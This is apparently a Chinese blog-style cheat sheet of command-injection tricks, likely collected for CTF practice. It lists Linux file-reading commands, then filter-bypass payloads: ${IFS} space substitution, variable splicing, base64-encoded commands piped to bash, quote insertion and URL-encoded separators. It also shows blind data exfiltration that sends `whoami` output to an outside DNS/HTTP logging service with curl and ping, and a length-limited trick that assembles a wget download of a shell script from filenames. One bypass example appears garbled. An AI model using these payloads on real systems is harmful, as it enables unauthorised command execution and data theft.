总结一下自己在命令执行这一方面收获的一些小技巧
Linux读取文件的一些命令
cat 从第一行开始,显示文件的所有内容
tac 从第最后一行开始,显示文件的所有内容(正好与cat相反)
more 根据窗口大小,一页一页的实现文件内容
less 和more类似,但是优点是是可以往前翻页和搜索字符
head 只显示前几行
tail 只显示后几行
nl 类似于cat -n,显示时输出行号
linux下的一些绕过方式
- 过滤了空格
可以使用${IFS}来进行绕过
echo${IFS}123456
读取文件的时候可以使用重定向符号
cat<>filename
cat<filename
- 黑名单绕过
使用拼接法
a=l;b=s;$a$b
执行的就是ls
利用base64编码
echo "d2hvYW1pCg=="|base64 -d
整体用反单引号包一下,我这边是markdown语法。
echo "d2hvYW1pCg=="|base64 -d|bash
使用单双引号
ca''t flag
ca""t flag
ca''t fl''ag
使用反斜线
ca flag
Linux自带的一些字符
绕过过滤分隔符号
Linux自带的三种分隔符号
; || &&
${PS2}代表">"
${PS4}代表"+"
${IFS}代表字段分隔符
${9}代表空字符串
可以使用
%0a %0d ; ${IFS} &
绕过
命令终止符号
%00 %20#
无回显命令执行
反弹shell(nc啦,msf啦这里面不在赘述)
dns管道解析
在http://ceye.io/records/http
注册一个账号就行了,看一下自己的dns

执行
curl http://ip.port.b182oj.ceye.io/`whoami`
ping `whoami`.ip.port.b182oj.ceye.io
curl `whoami`.i96tvv.ceye.io
在看一下dns的解析记录

限制了长度
1>wget
1>域名.
1>com
1>-O
1>she
1>ll.p
1>p
ls>a
sh a
利用文件名进行命令执行6